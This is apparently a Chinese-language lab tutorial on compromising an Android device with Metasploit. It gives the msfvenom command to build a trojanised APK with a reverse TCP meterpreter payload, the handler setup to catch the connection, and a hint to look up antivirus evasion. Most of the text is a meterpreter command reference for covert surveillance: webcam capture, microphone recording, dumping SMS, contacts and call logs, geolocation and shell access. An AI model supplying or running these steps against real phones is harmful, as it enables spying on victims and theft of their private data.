安卓渗透

环境:
Mac OS Mojave10.14.6(192.168.0.102): msf
MIPAD4(192.168.0.*): 已root

生成带有木马的apk文件

打开 msfconsole 输入：

msfvenom -p android/meterpreter/reverse_tcp LHOST=X LPORT=4444 R > Y/text.apk

其中X为主机IP(192.168.0.102)，Y为生成木马app的路径
LHOST 设置用来接收反弹连接的主机IP(192.168.0.102)
LPORT 设置用来接收反弹连接的kali端口(4444)

此处生成的app会被安卓系统的安全软件报毒，通过搜索使用免杀姿势可以解决。

连接木马

此处需要对应的安卓系统和主机连接同一个局域网并且root
打开 msfconsole 再次输入:

use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST 192.168.0.102
set LPORT 4444
exploit

等安卓系统安装完应用并打开:

命令

cd –>目录切换，命令：cd / 切换到根目录
search –>搜索文件，命令：search text.jpg
download –>下载文件，命令：download test.jpg
webcam_list –>查看摄像头列表，因为手机都是前置和后置摄像头了
webcam_snap –>拍照一张，需要选用前置或者后置摄像头，命令：webcam_snap -i 1
webcam_stream –>开启摄像头视频监控，同上，命令：webcam_stream -i
查看当前安卓是否已经root: check_root
下载通话记录: dump_calllog
下载短信记录: dump_contacts
下载通讯录: dump_sms
geolocate –>利用谷歌地图定位（需要安装谷歌地图）

核心命令：

============================

Command      Description
-------      -----------
background          # Backgrounds the current session
bgkill              # Kills a background meterpreter script
bglist              # Lists running background scripts
bgrun               # Executes a meterpreter script as a background thread
channel             # Displays information or control active channels
close               # Closes a channel
disable_unicode_encoding  # Disables encoding of unicode strings
enable_unicode_encoding   # Enables encoding of unicode strings
exit                 # Terminate the meterpreter session
get_timeouts        #  Get the current session timeout values
help                #  Help menu
info                # Displays information about a Post module
irb                   Drop into irb scripting mode
load                  Load one or more meterpreter extensions
machine_id              Get the MSF ID of the machine attached to the session
quit                  Terminate the meterpreter session
read                  Reads data from a channel
resource                Run the commands stored in a file
run                   Executes a meterpreter script or Post module
sess                  Quickly switch to another session
set_timeouts            Set the current session timeout values
sleep                  Force Meterpreter to go quiet, then re-establish session.
transport               Change the current transport mechanism
use                   Deprecated alias for 'load'
uuid                  Get the UUID for the current session
write                  Writes data to a channel

Stdapi: File system Commands

============================

Command      Description
-------      -----------
cat         Read the contents of a file to the screen
cd          Change directory
checksum      Retrieve the checksum of a file
dir         List files (alias for ls)
download      Download a file or directory
edit        Edit a file
getlwd       Print local working directory
getwd        Print working directory
lcd         Change local working directory
lpwd        Print local working directory
ls          List files
mkdir        Make directory
pwd         Print working directory
rm          Delete the specified file
rmdir        Remove directory
search       Search for files
upload       Upload a file or directory

Stdapi: Networking Commands

===========================

Command      Description
-------      -----------
ifconfig      Display interfaces
ipconfig      Display interfaces
portfwd       Forward a local port to a remote service
route        View and modify the routing table

Stdapi: System Commands

=======================

Command      Description
-------      -----------
execute       Execute a command
getuid       Get the user that the server is running as
localtime     Displays the target system's local date and time
ps          List running processes
shell        Drop into a system command shell
sysinfo       Gets information about the remote system, such as OS

Stdapi: Webcam Commands

=======================

Command       Description
-------       -----------
record_mic     Record audio from the default microphone for X seconds           打开麦克风录音
webcam_chat    Start a video chat
webcam_list    List webcams                                                                      显示有多少个摄像头
webcam_snap    Take a snapshot from the specified webcam                          拍照
webcam_stream  Play a video stream from the specified webcam

Android Commands

================

Command          Description
-------          -----------
activity_start    Start an Android activity from a Uri string                            打开某个网址的安卓程序
check_root       Check if device is rooted                                                  查看是否ROOT
dump_calllog      Get call log                                                                  取得通话记录
dump_contacts     Get contacts list                                                          取得通信录
dump_sms         Get sms messages                                                         取得短信记录
geolocate        Get current lat-long using geolocation                                取得地理位置信息
interval_collect  Manage interval collection capabilities
send_sms         Sends SMS from target session                                          发送短信（实验不成功）
set_audio_mode    Set Ringer Mode                                                         调整铃声大小
sqlite_query      Query a SQLite database from storage
wlan_geolocate    Get current lat-long using WLAN information